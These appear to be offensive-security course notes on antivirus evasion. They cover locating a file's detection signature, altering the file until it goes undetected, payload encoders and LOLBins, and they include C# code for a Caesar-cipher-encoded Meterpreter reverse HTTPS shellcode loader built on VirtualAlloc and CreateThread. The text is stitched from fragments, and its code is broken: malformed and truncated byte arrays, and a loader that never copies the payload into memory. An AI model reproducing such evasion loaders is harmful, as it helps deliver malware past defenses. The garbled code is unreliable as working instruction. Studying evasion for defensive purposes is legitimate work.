Unit 5 Offesc
Unit 5 Offesc
1. Process of finding the antivirus signature from a detected file and how it
can be used to whitelist the file
The process of finding the antivirus signature from a detected file and using it to
whitelist the file involves the following steps:
a. Analyzing the detected file: Once the antivirus software has flagged a
file, it's important to understand the structure of the file and identify the
specific part that triggers the antivirus detection. This can be done using
various reverse engineering tools like disassemblers, debuggers, and hex
editors.
b. Identifying the signature: Antivirus software uses signatures to identify
known malware or suspicious code patterns. A signature is a unique
sequence of bytes or a pattern within the file. By analyzing the detected
file and comparing it with known malware samples, it's possible to
identify the specific signature the antivirus is using to detect the file.
c. Modifying the file to evade detection: Once the signature has been
identified, the file can be modified in such a way that the signature is no
longer recognizable by the antivirus software. This can be done by
changing the code, encrypting the payload, or using other obfuscation
techniques to alter the signature while maintaining the functionality of the
file.
d. Testing the modified file: After modifying the file, it's essential to test it
against the antivirus software to confirm that it no longer triggers
detection. This may require multiple iterations of modification and
testing, as antivirus software often employs multiple layers of detection,
including heuristic analysis and behavioral analysis.
e. Updating the antivirus software: As a responsible user, it is crucial to
report the bypass to the antivirus vendor so that they can update their
software and improve detection capabilities. This helps to keep the digital
ecosystem secure for all users.
For example, certain characters might not be allowed in some systems or could
be easily recognized by security tools. Encoders use various encoding schemes,
such as Base64, XOR, or custom algorithms, to transform the payload data into
an alternative representation that does not contain these problematic characters
or patterns.
Living off the Land Binaries (LOLBins) are legitimate, pre-installed system
tools or binaries that can be abused by attackers to perform malicious activities.
In offensive security testing, LOLBins are used to blend in with the target
environment, making it difficult for security tools and system administrators to
differentiate between legitimate and malicious activities.
Explanation:
The payload is a Meterpreter reverse HTTPS shell for a Windows x64 system,
and it will be output in C# format.
b. Write the C# code with Caesar Cipher encryption and get the encrypted
payload
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Shellcode_Encryptor
{
class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[719] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,,0x
f0,0xb5,0xa2,0x56,0xff,0xd5 };
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace avbypass
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint
dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32
dwMilliseconds);
static void Main(string[] args)
{
byte[] buf = new byte[719] { 0xfe, 0x4a, 0x85, 0xe6, 0xf2, 0xea,
0xce, 0xd7 };
//Decrypting Routine
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
}
//Get the size of the buffer
int size = buf.Length;
//Manage Memory
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
//CreateThread
IntPtr hthread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero,
0, IntPtr.Zero);
}
}
}